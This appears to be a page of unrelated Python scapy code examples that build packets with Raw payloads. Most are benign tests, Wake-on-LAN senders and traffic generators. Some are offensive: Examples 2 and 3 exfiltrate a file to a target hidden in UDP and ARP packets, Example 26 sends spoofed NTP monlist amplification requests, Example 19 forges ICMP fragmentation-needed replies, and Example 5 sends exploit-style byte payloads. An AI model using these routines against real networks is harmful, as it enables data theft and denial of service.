Exemple #1
0
    def test_packet_handler(self):
        """
        Test that the packet handler adds layer counts to the packet count
        summaries.
        """
        packets = [
            IP(dst='www.apple.com') / TCP(dport=80) / Raw(b'Some raw bytes'),
            Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst='192.168.1.0/24'),
            IP(dst='www.spinach.net') / TCP(dport=80) / Raw(b'More raw bytes'),
        ]

        chef = PacketCountChef()

        for packet in packets:
            chef.packet_handler(packet)

        assert sorted(chef.packet_counts.keys()) == [
            'ARP',
            'Ethernet',
            'IP',
            'Raw',
            'TCP',
        ]

        assert chef.packet_counts['ARP'] == 1
        assert chef.packet_counts['Ethernet'] == 1
        assert chef.packet_counts['IP'] == 2
        assert chef.packet_counts['Raw'] == 2
        assert chef.packet_counts['TCP'] == 2
Exemple #2
0
def send(exfiltrate_file, file):
    target = config['target']
    port = config['port']
    num_bytes = config['num_bytes']

    app_exfiltrate.log_message('warning',
                               "[!] Registering packet for the file")
    data = "%s" % os.path.basename(exfiltrate_file.file_to_send)

    packet_index = 0
    ether = Ether()
    ip = IP(dst=target)

    udp = UDP(dport=port, sport=exfiltrate_file.jobid, chksum=packet_index)
    pkt = ether / ip / udp / Raw(load=data)
    sendp(pkt, verbose=0)

    while True:
        packet_index += 1
        data_file = file.read(num_bytes).encode('hex')
        if not data_file:
            break
        # ok("Using {0} as transport method".format(protocol_name))

        app_exfiltrate.log_message(
            'info', "[udp] Sending {0} bytes to {1}".format(len(data), target))
        udp = UDP(dport=port, sport=exfiltrate_file.jobid, chksum=packet_index)
        pkt = ether / ip / udp / Raw(load=data_file)
        sendp(pkt, verbose=0)

    data = "DONE:%s" % exfiltrate_file.checksum
    udp = UDP(dport=port, sport=exfiltrate_file.jobid, chksum=packet_index)
    pkt = Ether() / ip / udp / Raw(load=data)
    sendp(pkt, verbose=0)
Exemple #3
0
def send(exfiltrate_file, file):
    target = config['target']
    num_bytes = config['num_bytes']

    app_exfiltrate.log_message('warning',
                               "[!] Registering packet for the file")
    data = "%s" % os.path.basename(exfiltrate_file.file_to_send)

    packet_index = 0
    ether = Ether()
    rand_ip = RandIP()
    arp = ARP(psrc=rand_ip, hwsrc='00:00:00:00:00:00')
    pkt = ether / arp / Raw(load=data)
    sendp(pkt, verbose=0)

    while True:
        packet_index += 1
        data_file = file.read(num_bytes).encode('hex')
        if not data_file:
            break
        # ok("Using {0} as transport method".format(protocol_name))

        app_exfiltrate.log_message(
            'info', "[arp] Sending {0} bytes to {1}".format(len(data), target))
        arp = ARP(psrc=rand_ip, hwsrc=int_to_mac(packet_index))
        pkt = ether / arp / Raw(load=data_file)
        sendp(pkt, verbose=0)

    data = "DONE:%s" % exfiltrate_file.checksum
    arp = ARP(psrc=rand_ip, hwsrc=int_to_mac(packet_index))
    pkt = ether / arp / Raw(load=data)
    sendp(pkt, verbose=0)
Exemple #4
0
 def run(self):
     while True:
         self.enter_loop.wait()
         self.enter_loop.clear()
         if self.stopped:
             return
         p, remote = self.socket.recvfrom(1500)
         p = DNS(Raw(p))
         # check received packet for correctness
         assert (p is not None)
         assert (p[DNS].qr == 0)
         assert (p[DNS].opcode == 0)
         # has two queries
         assert (p[DNS].qdcount == TEST_QDCOUNT)
         qdcount = p[DNS].qdcount
         # both for TEST_NAME
         assert (p[DNS].qd[0].qname == TEST_NAME.encode("utf-8") + b".")
         assert (p[DNS].qd[1].qname == TEST_NAME.encode("utf-8") + b".")
         assert (any(p[DNS].qd[i].qtype == DNS_RR_TYPE_A
                     for i in range(qdcount)))  # one is A
         assert (any(p[DNS].qd[i].qtype == DNS_RR_TYPE_AAAA
                     for i in range(qdcount)))  # one is AAAA
         if self.reply is not None:
             self.socket.sendto(Raw(self.reply), remote)
             self.reply = None
Exemple #5
0
def prueba_exploit(src, dst, iface, count):
    pkt = IP(src=src, dst=dst) / UDP(dport=518) \
          / Raw(load="\x01\x03\x00\x00\x00\x00\x00\x01\x00\x02\x02\xE8")
    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / UDP(dport=635) \
          / Raw(load="^\xB0\x02\x89\x06\xFE\xC8\x89F\x04\xB0\x06\x89F")
    send(pkt, iface=iface, count=count)
def send_message(ip, message_type, load):
    message = None
    if (message_type == 'propagate election'):
        message = IP(dst=ip) / ICMP() / Raw(load=str('election:') + str(load))
    if (message_type == 'announce leader'):
        message = IP(dst=ip) / ICMP() / Raw(load=str('new_leader:' +
                                                     str(load)))

    send(message, verbose=False)
def send_message(ip, message_type, load):
    message = None
    if (message_type == 'empty message'):
        #create empty snapshot
        message = IP(dst=ip) / ICMP() / Raw(load=str('snapshot='))
    if (message_type == 'send token'):
        message = IP(dst=ip) / ICMP() / Raw(load=str('tokenHash=' + str(load)))
    if (message_type == 'send snapshot'):
        message = IP(dst=ip) / ICMP() / Raw(load=str('snapshot=' + str(load)))
    send(message, verbose=True)
Exemple #8
0
def prueba_ddos(src, dst, iface, count):
    pkt = IP(src=src, dst=dst) / ICMP(type=8, id=678) / Raw(load='1234')
    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / ICMP(type=0) / Raw(load='AAAAAAAAAA')
    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / UDP(dport=31335) / Raw(load='PONG')
    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / ICMP(type=0, id=456)
    send(pkt, iface=iface, count=count)
Exemple #9
0
def Send (dst_ip, data, sequence=0, spoof_source=False, dst_port=MDNS_PORT, src_port=MDNS_PORT, dns_name=TEST_QUERY):
	"""
	Send one packet of MDNS with data.
	:param dst_ip: IP as string.
	:param data: Data as bytes/string.
	:param sequence: Number to use for sequence. Int.
	:param spoof_source: Default:False. Set as IP for spoofing.
	:param dst_port: ....
	:param src_port: ...
	:param dns_name: DNS name to put in the MDNS request.
	:return: semper vera!!!
	"""
	payload = ""
	payload += "\x00"  # TransID is 2 bytes. Using one for sequence.
	payload += struct.pack('B', sequence)
	
	payload += "\x00\x00"  # Stndrt qry
	payload += "\x00\x01"  # 1 questions
	payload += "\x00\x00"  # 0 ans RRs
	payload += "\x00\x00"  # 0 authority RRs
	payload += "\x00\x00"  # 0 additional RRs
	# Start of query:
	payload += struct.pack('B', len(dns_name))  # Length? -> YES it is!
	payload += dns_name  # name
	payload += "\x00"  # Query Terminator
	payload += "\x00\x0c"  # PTR request
	payload += "\x00\x01"  # class IN
	
	if spoof_source is False:
		pkt = IP(
				dst = dst_ip
				# src = "1.1.1.1"
		) / UDP(
				sport = src_port,
				dport = dst_port
		) / Raw(
				load = payload
		)
	else:
		pkt = IP(
				dst = dst_ip,
				src = spoof_source
		) / UDP(
				sport = src_port,
				dport = dst_port
		) / Raw(
				load = data
		)
	send(pkt)
	return True
Exemple #10
0
 def raw(self):
     # Ethertype 0x0842 + WOL Payload
     return sendp([
         Ether(type=int('0842', 16), dst=self.ETH_BROADCAST) /
         Raw(load=self.wol_payload)
     ],
                  iface=self.intf)
Exemple #11
0
 def monlist_scan(self,target):
     data = "\x17\x00\x03\x2a" + "\x00" * 4
     ip = IP(dst=target)
     udp=UDP(sport=random.randint(49152,65536),dport=123)
     a = Raw(load=data)
     pck = ip/udp/a
     n = 0
     results = None
     #try:
     while (n < 3):
         rep = sr1(pck,verbose=0,timeout=5)
         if hasattr(rep,'answers'):
             results = 1
             break
         elif not hasattr(rep,'answers') and (n < 3):
             #print "Pass ",n
             n = n + 1
         else:
             results = None
             break
             pass
     #except KeyboardInterrupt:
     #    sys.exit(0)
     #except Exception as e:
 #        results = None
         #print e
     return results
Exemple #12
0
def send_packet(packet, iface, interval, count):
    """
    Read BSR packet in Raw format and send it to specified interface

    Parameter:
    ---------
    * `packet` : BSR packet in raw format
    * `interface` : Interface from which packet would be send
    * `interval` : Interval between the packets
    * `count` : Number of packets to be sent
    """

    data = binascii.a2b_hex(packet)
    p = Raw(load=data)
    p.show()
    sendp(p, inter=int(interval), iface=iface, count=int(count))
Exemple #13
0
    def phase2(self, api_base, if_name, dpae2ctrl_mac, ctrl2dpae_mac,
                        dpae_ethertype):
        """
        Phase 2 (per DPAE sniffing interface)
        switch/port discovery
        """
        #*** Send packet with scapy:
        json_pkt_data = json.dumps({'hostname_dpae': self.hostname,
                                    'if_name': if_name,
                                    'uuid_dpae': self.our_uuid,
                                    'uuid_controller': self.uuid_controller})
        #*** Create packet to registration MAC containing our JSON data:
        reg_pkt = Ether(src=ctrl2dpae_mac, dst=dpae2ctrl_mac, \
                        type=dpae_ethertype) / Raw(load=json_pkt_data)
        #*** Send packet:
        try:
            sendp(reg_pkt, iface=if_name)
        except:
            exc_type, exc_value, exc_traceback = sys.exc_info()
            self.logger.error("Phase 2 exception while sending discovery "
                            "packet, "
                            "%s, %s, %s",
                            exc_type, exc_value, exc_traceback)
            return 0
        #*** Wait for a small amount of time:
        time.sleep(1)

        #*** Check that the controller has updated the resource with
        #***  switch/port details:
        json_query_dpae = json.dumps({'hostname_dpae': self.hostname,
                                    'if_name': if_name,
                                    'uuid_dpae': self.our_uuid,
                                    'uuid_controller': self.uuid_controller})
        try:
            r = self.s.get(api_base, data=json_query_dpae)
        except:
            exc_type, exc_value, exc_traceback = sys.exc_info()
            self.logger.error("Phase 2 exception while retrieving from"
                            " controller, "
                            "%s, %s, %s",
                            exc_type, exc_value, exc_traceback)
            return 0

        #*** Decode API response as JSON:
        api_response = JSON_Body(r.json())
        if api_response.error:
            return ({'status': 400, 'msg': api_response.error})
        self.logger.debug("Phase 2 GET response=%s", api_response.json)
        #*** Validate required keys are present in JSON:
        if not api_response.validate(['hostname_dpae', 'uuid_dpae',
                                        'dpid', 'switch_port']):
            self.logger.error("Validation error %s", api_response.error)
            return ({'status': 400, 'msg': api_response.error})
        #*** Check has our UUID correct:
        uuid_dpae_response = api_response['uuid_dpae']
        if str(uuid_dpae_response) != str(self.our_uuid):
            self.logger.error("Phase 2 response uuid_dpae mismatch")
            return 0
        #*** Success:
        return 1
Exemple #14
0
def main():
    """Send TCP packet from one traffic generator interface to DUT.

    :raises: If the IP address is invalid.
    """
    args = TrafficScriptArg([
        'src_mac', 'dst_mac', 'src_ip', 'dst_ip', 'timeout', 'framesize',
        'testtype'
    ])

    src_mac = args.get_arg('src_mac')
    dst_mac = args.get_arg('dst_mac')
    src_ip = args.get_arg('src_ip')
    dst_ip = args.get_arg('dst_ip')
    tx_if = args.get_arg('tx_if')
    rx_if = args.get_arg('rx_if')
    timeout = int(args.get_arg('timeout'))
    frame_size = int(args.get_arg('framesize'))
    test_type = args.get_arg('testtype')

    rxq = RxQueue(rx_if)
    txq = TxQueue(tx_if)
    sent_packets = []

    protocol = TCP
    source_port = sfccon.DEF_SRC_PORT
    destination_port = sfccon.DEF_DST_PORT

    ip_version = None
    if valid_ipv4(src_ip) and valid_ipv4(dst_ip):
        ip_version = IP
    elif valid_ipv6(src_ip) and valid_ipv6(dst_ip):
        ip_version = IPv6
    else:
        raise ValueError("Invalid IP version!")

    pkt_header = (
        Ether(src=src_mac, dst=dst_mac) / ip_version(src=src_ip, dst=dst_ip) /
        protocol(sport=int(source_port), dport=int(destination_port)))

    fsize_no_fcs = frame_size - 4
    pad_len = max(0, fsize_no_fcs - len(pkt_header))
    pad_data = "A" * pad_len

    pkt_raw = pkt_header / Raw(load=pad_data)

    # Send created packet on one interface and receive on the other
    sent_packets.append(pkt_raw)
    txq.send(pkt_raw)

    ether = rxq.recv(timeout)

    if ether is None:
        raise RuntimeError("No packet is received!")

    # let us begin to check the NSH SFC loopback  packet
    VerifyPacket.check_the_nsh_sfc_packet(ether, frame_size, test_type)

    # we check all the fields about the loopback packet, this test will pass
    sys.exit(0)
Exemple #15
0
def udp_send_payload(test_params, payload):
    """Send UDP payload using standard Python function."""
    if test_params.ip_version == 4:
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM,
                             socket.IPPROTO_UDP)
    elif test_params.ip_version == 6:
        sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM,
                             socket.IPPROTO_UDP)
    sock.sendto(
        bytes(payload),
        (test_params.dst_endpoint.ip_addr, test_params.dst_endpoint.port),
    )
    sent_time = test_params.report_sent_packet()
    sock.settimeout(test_params.timeout_sec)
    try:
        while True:
            data, addr = sock.recvfrom(INPUT_BUFFER_SIZE)
            print_verbose(
                test_params,
                "Received response from {} - content:\n{}\n-----".format(
                    addr, data),
            )
            if (
                    test_params.dst_endpoint.ip_addr,
                    test_params.dst_endpoint.port,
            ) == addr:
                print_verbose(test_params,
                              "This is the response that we was waiting for!")
                test_params.report_received_packet(sent_time)
                return IP() / UDP() / Raw(data)
            print_verbose(test_params,
                          "Received response from another host (not target)!")
    except socket.timeout:
        print_verbose(test_params, "Received no response!")
    return None
def icmpv4_probe(dst_host, timeout):
    icmptype_i = 0x8
    icmptype_name_i = 'ICMP ECHO'
    icmptype_o = 0x0
    icmptype_name_o = 'ICMP ECHO_REPLY'

    response = None
    response2 = None
    stack_name = ''
    match = ''

    # Send a normal ICMP packet with a 'seq' number other than zero, just to ensure the seq counter at picoTCP is
    # changed and the next packet will be accepted.
    r = sr1(IP(dst=dst_host, ttl=20) / ICMP(id=0xff, seq=1, type=icmptype_i),
            filter='icmp[icmptype] = {}'.format(icmptype_o),
            timeout=timeout)
    if not r:
        return (stack_name, match_level_str(MATCH_NO_REPLY))

    # Prepare a malformed ICMP packet
    icmp_raw = b'\x08\x01\x02'
    ipv4_probe = IP(dst=dst_host, ttl=20, proto=0x01) / Raw(load=icmp_raw)

    # Send the malformed ICMP packet
    # If we get the expected response it is either PicoTCP or uIP/Contiki:
    #   - we first check that the TTL value of the echo packet is changed into 64 for the reply packet
    #   - we then check the payload sequence of the echo reply packet
    response = sr1(ipv4_probe,
                   filter='icmp[icmptype] = {}'.format(icmptype_o),
                   timeout=timeout)
    if response:
        if (response.ttl == 64):
            if (hexlify(response.load) == b'0001ff'):
                match = MATCH_VUL
                stack_name = 'PicoTCP'
            elif (hexlify(response.load) == b'00010a'):
                match = MATCH_VUL
                stack_name = 'uIP/Contiki'
        if not match:
            match = MATCH_OTHER

    else:  # we did not get a reply for the first malformed packet
        _id = 0xab
        _seq = 0xba
        # Nut/Net should reply to ICMP packets with incorrect IP and ICMP checksums
        ipv4_probe = IP(dst=dst_host, ttl=20, chksum=0xdead) / ICMP(
            id=_id, seq=_seq, type=icmptype_i, chksum=0xbeaf)
        response = sr1(ipv4_probe,
                       filter='icmp[icmptype] = {}'.format(icmptype_o),
                       timeout=timeout)
        if response:
            if (response.ttl == 64):
                if (response[ICMP].id == _id and response[ICMP].seq == _seq
                        and response[ICMP].type == 0x00):
                    match = MATCH_POT_WEAK
                    stack_name = 'Nut/Net'
        if not match:
            match = MATCH_OTHER  # no reply for the second malformed packet

    return (stack_name, match_level_str(match))
Exemple #17
0
def handle_pkt(pkt, iface):
    my_mac = get_if_hwaddr(iface)
    my_ip = get_ip_address(iface)

    NTP_ITEMS = "\x06"
    NTP_ITEMS_INT = 6
    NTP_MONLIST_RESPONSE = "\xd7\x00\x03\x2a" + "\x00" + NTP_ITEMS + "\x00\x48" + "\x00" * 72 * NTP_ITEMS_INT
    if UDP in pkt and IP in pkt and pkt[IP].src != my_ip:
        src_mac = my_mac
        dst_mac = pkt[Ether].dst
        src_ip = my_ip
        dst_ip = pkt[IP].dst
        proto = pkt[IP].proto
        sport = pkt[UDP].sport
        dport = pkt[UDP].dport
        # Respond with 10 packages with 6 items each = 60 items * 72 bytes = 4320 data bytes
        p = Ether(dst=my_mac, src=dst_mac) / IP(dst=pkt[IP].src, src=my_ip)
        p = p / UDP(dport=123, sport=123) / Raw(NTP_MONLIST_RESPONSE)
        sendp(p, iface=iface, loop=0, verbose=0)
        sendp(p, iface=iface, loop=0, verbose=0)
        sendp(p, iface=iface, loop=0, verbose=0)
        sendp(p, iface=iface, loop=0, verbose=0)
        sendp(p, iface=iface, loop=0, verbose=0)
        sendp(p, iface=iface, loop=0, verbose=0)
        sendp(p, iface=iface, loop=0, verbose=0)
        sendp(p, iface=iface, loop=0, verbose=0)
        sendp(p, iface=iface, loop=0, verbose=0)
        sendp(p, iface=iface, loop=0, verbose=0)
def handle_packet(packet):

    if packet[IP].dst == LOCAL_IP and packet[IP].src == SENDER_IP:
        global counter
        counter = counter + 1
        ip_src = packet[IP].src
        ip_dst = packet[IP].dst
        s_port = packet[TCP].sport
        d_port = packet[TCP].dport
        tcp_flags = str(packet[TCP].flags)
        js = {
            "ip_src": ip_src,
            "ip_dst": ip_dst,
            "s_port": s_port,
            "d_port": d_port,
            "tcp_flags": tcp_flags
        }

        global payload
        payload = payload + "-TMA-" + json.dumps(js)
        print(payload)
        if counter >= 5:
            send(IP(dst=REMOTE_IP) / TCP(dport=8000) / Raw(load=payload))
            counter = 0
            payload = ""
Exemple #19
0
def packet_processor(packet):
    ether = packet
    packet = ether.payload
    src_ip = packet.src
    dst_ip = packet.dst
    protocol = packet.proto
    payload = packet.payload
    payload = bytes(payload)
    a = list(payload)
    payload = Raw(a[:8])

    if protocol == 17 or protocol == 1 or protocol == 6:  # UDP or ICMP or TCP
        crafted_payload = packet
        crafted_payload.payload = payload

        icmp = ICMP()
        icmp.type = 3
        icmp.code = 4
        icmp.nexthopmtu = 552
        # icmp.type = 5
        # icmp.code = 1
        # icmp.gw = '172.16.1.232'

        # icmp.type = 4
        # icmp.code = 0
        icmp.payload = crafted_payload

        ip = IP()
        ip.src = dst_ip
        ip.dst = src_ip
        ip.payload = icmp

        send(ip)
    else:
        pass
Exemple #20
0
def main():
    data = "hullo"
    packet = send(
        IP(src='127.0.0.1', dst='192.168.1.151') /
        TCP(sport=443, dport=1337, reserved=1) / Raw(load=data))
    packet = Ether() / IP(src='127.0.0.1', dst='192.168.1.151') / TCP(
        dport=443, flags='S', reserved=1)
Exemple #21
0
 def udp4(self):
     # UDP port 9 + WOL Payload
     return sendp([
         Ether(dst=self.ETH_BROADCAST) / IP(dst='255.255.255.255') /
         UDP(sport=32767, dport=9) / Raw(load=self.wol_payload)
     ],
                  iface=self.intf)
Exemple #22
0
def send_packet(packet, interface):

    for i in range(len(packet)):

        ether = Ether(type=0x7000) / Raw(load=packet[i])
        time.sleep(3)
        sendp(ether, iface=interface)
Exemple #23
0
 def udp6(self):
     # UDP port 9 + WOL Payload
     return sendp([
         Ether() / IPv6(dst='ff02::1') / UDP(sport=32767, dport=9) /
         Raw(load=self.wol_payload)
     ],
                  iface=self.intf)
Exemple #24
0
def wake(mac):
    logging.warning("Sending WOL packet to %s" % (mac, ))
    mac = mac.decode("hex")
    sendp(
        Ether(dst='ff:ff:ff:ff:ff:ff') /
        IP(dst='255.255.255.255', flags="DF") / UDP(dport=9, sport=39227) /
        Raw('\xff' * 6 + mac * 16))
Exemple #25
0
    def __init__(self, headerSize, iface):
        super().__init__(headerSize, iface)

        self.IP_DST_ADDRESS = "127.0.0.1"
        self.UDP_PORT = 26381
        self.baseTrame = BitArray(bytes(Ether() /
                                        IP(dst=self.IP_DST_ADDRESS) /
                                        UDP(sport=self.UDP_PORT, dport=self.UDP_PORT +
                                            1)))

        self.crc32_func = crcmod.mkCrcFun(
            0x104c11db7,
            initCrc=0,
            xorOut=0xFFFFFFFF)  # preparing checksum computation

        neededArtificialHeader = headerSize - len(self.baseTrame.bytes) - 4
        if neededArtificialHeader > 0:
            headerToAppend = neededArtificialHeader * 'X'
            self.baseTrame.append(BitArray(bytes(Raw(headerToAppend))))
        elif neededArtificialHeader < 0:
            exit(
                "The minimal number of bytes your system send to use UDP over IP over Ether is greater than the headerSize you specified:\nspecified: " +
                str(headerSize) +
                '\nmin: ' +
                str(
                    headerSize -
                    neededArtificialHeader))
Exemple #26
0
def send_random_traffic(src_switch, src_host, dst_switch, dst_host, timeout,
                        loop):
    NTP_MONLIST_REQUEST = "\x17\x00\x03\x2a" + "\x00" * 8

    src_mac = '00:00:00:00:0' + src_switch + ':0' + src_host
    src_ip = '10.0.' + src_switch + '.' + src_host
    dst_mac = '00:00:00:00:0' + dst_switch + ':0' + dst_host
    dst_ip = '10.0.' + dst_switch + '.' + dst_host

    # Get name of eth0 interface
    iface_eth0 = ''
    for i in get_if_list():
        if 'eth0' in i or 's0' in i:
            iface_eth0 = i

    hosts = [str(i) for i in range(1, 10)]
    print hosts
    # send requests
    while True:
        for i in hosts:
            src_host = i
            src_mac = '00:00:00:00:0' + src_switch + ':0' + src_host
            src_ip = '10.0.' + src_switch + '.' + src_host
            p = Ether(dst=dst_mac, src=src_mac) / IP(dst=dst_ip, src=src_ip)
            p = p / UDP(dport=123, sport=123) / Raw(NTP_MONLIST_REQUEST)
            sendp(p, iface=iface_eth0, loop=loop, verbose=0)
Exemple #27
0
def test_custom_get():
    """
    Tests value retrieval for custom getters.
    """
    pkt = IP() / TCP() / Raw(load="AAAA")
    tcp = layers.packet.Packet(pkt)
    assert tcp.get("TCP", "load") == "AAAA"
Exemple #28
0
    def generate_packet(self, payload, dst):

        # Generating the IP layer:
        ip_layer = IP(src="37.200.69.143", dst=dst)

        # Generate TCP layer
        tcp_layer = TCP(sport=80, dport=49451, flags="PA", seq=1, ack=642, options=[('MSS', 1460)])

        http_layer = http.HTTP()

        httpresponse_layer = http.HTTPResponse()
        httpresponse_layer.__setattr__("Status-Line", 'HTTP/1.1 200 OK')
        httpresponse_layer.__setattr__("Accept-Ranges", 'bytes')
        httpresponse_layer.__setattr__("Server", 'nginx/0.7.67')
        httpresponse_layer.__setattr__("Connection", 'keep-alive')
        httpresponse_layer.__setattr__("Date", 'Sun, 9 Dec 2018 02:12:00 GMT')
        httpresponse_layer.__setattr__("Content-Type", 'application/x-shockwave-flash')
        httpresponse_layer.__setattr__("Content-Length", '8227')

        httpresponse_layer.Headers = str('Server: nginx/0.7.67\r\n' \
                                     'Date: Sun, 16 Nov 2014 02:12:00 GMT\r\n' \
                                     'Content-Type: application/x-shockwave-flash\r\n' \
                                     'Connection: keep-alive\r\n' \
                                     'Content-Length: 8227\r\n' \
                                     'X-Powered-By: PHP/5.4.4-14+deb7u14\r\n' \
                                     'Accept-Ranges: bytes')

        payload_layer = Raw(payload)

        packet = ip_layer/tcp_layer/http_layer/httpresponse_layer/payload_layer

        return packet
Exemple #29
0
def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('ip_addr',
                        type=str,
                        help="The destination IP address to use")
    parser.add_argument('message',
                        type=str,
                        help="The message to include in packet")
    parser.add_argument(
        '--dst_id',
        type=int,
        default=None,
        help=
        'The myTunnel dst_id to use, if unspecified then myTunnel header will not be included in packet'
    )
    args = parser.parse_args()

    addr = socket.gethostbyname(args.ip_addr)
    dst_id = args.dst_id
    iface = get_if()

    if (dst_id is not None):

        payload = Raw(load="Today is a good day, you bloody wanker.")
        inner_udp = UDP(dport=80, sport=1117)
        inner_ip = IP(dst="8.8.8.8", src="45.45.0.11")
        inner_headers = inner_ip / inner_udp / payload
        gtp_string = '03ff' + '%04x' % len(inner_headers) + '01234567'
        #gtp_inner_headers = Raw(load=bytes.fromhex(gtp_string))/inner_headers
        gtp_inner_headers = Raw(load=gtp_string.decode("hex")) / inner_headers
        outer_udp = UDP(dport=2152, sport=random.randint(49152, 65535))
        outer_ip = IP(dst=addr)

        print "sending UDP"
        pkt = Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff')
        #pkt = pkt / IP(dst=addr) / UDP(dport=2152, sport=random.randint(49152,65535)) / IP(dst='12.3.4.5',src='10.0.0.1') / UDP(dport=8000, sport=8001) / args.message
        pkt = pkt / outer_ip / outer_udp / gtp_inner_headers
    else:
        print "sending on interface {} to IP addr {}".format(iface, str(addr))
        pkt = Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff')
        pkt = pkt / IP(dst=addr) / TCP(
            dport=1234, sport=random.randint(49152, 65535)) / args.message

    pkt.show2()
    #    hexdump(pkt)
    #    print "len(pkt) = ", len(pkt)
    sendp(pkt, iface=iface, verbose=False)
Exemple #30
0
def tcp_send(pkt_cfg):
    """ Send TCP packets. """
    sip = pkt_cfg['sip']
    dip = pkt_cfg['dip']
    dport = pkt_cfg['dport']
    size = pkt_cfg['size']
    npackets = pkt_cfg['npackets']
    tway = pkt_cfg['synack']
    bad_csum = pkt_cfg['bad_csum']
    wait = pkt_cfg['wait']
    interval = pkt_cfg['interval']

    # Build the packet.
    if bad_csum in ["ipv4", "all"]:
        ip = IP(src=sip, dst=dip, chksum=BAD_CSUM_IP)
    else:
        ip = IP(src=sip, dst=dip)

    sport = random.randint(4096, 8192)
    if bad_csum in ["tcp", "all"]:
        tcp = TCP(sport=sport, dport=dport, chksum=BAD_CSUM_TCP)
    else:
        tcp = TCP(sport=sport, dport=dport)

    data_tmp = "77 " * size
    data_tmp = data_tmp[:-1].split(" ")
    data = ''.join(data_tmp).decode('hex')
    payload = Raw(load=data)

    pkt = ip/tcp/payload
    stat = "{sip:%s dip:%s}, {sport:%s dport:%s} {bad-csum:%s size:%u}" % \
           (sip, dip, sport, dport, bad_csum, size)

    # 3-way TCP handshake to setup connection.
    if tway is True:
        good_ip = IP(src=sip, dst=dip)

        seq_seqno = 5000
        tcp_syn = TCP(sport=sport, dport=dport, flags='S', seq=seq_seqno)
        tcp_synack = sr1(good_ip/tcp_syn)
        print "Sent TCP SYN with seq %u" % (seq_seqno)

        ack_seqno = tcp_synack.ack
        ack_ackno = tcp_synack.seq + 1
        tcp_ack = TCP(sport=sport, dport=dport, flags='A',
                      seq=ack_seqno, ack=ack_ackno)
        send(good_ip/tcp_ack)
        print "Sent TCP ACK with seq %u, ack %u" % (ack_seqno, ack_ackno)

    # Send traffic.
    if wait:
        while npackets:
            _ = raw_input("Hit 'enter' to send packet...")
            send(pkt, verbose=False)
            print "Sent %d TCP packet(s): %s" % (1, stat)
            npackets -= 1
    else:
        send(pkt, inter=interval, count=npackets)
        print "Sent %d TCP packets: %s" % (npackets, stat)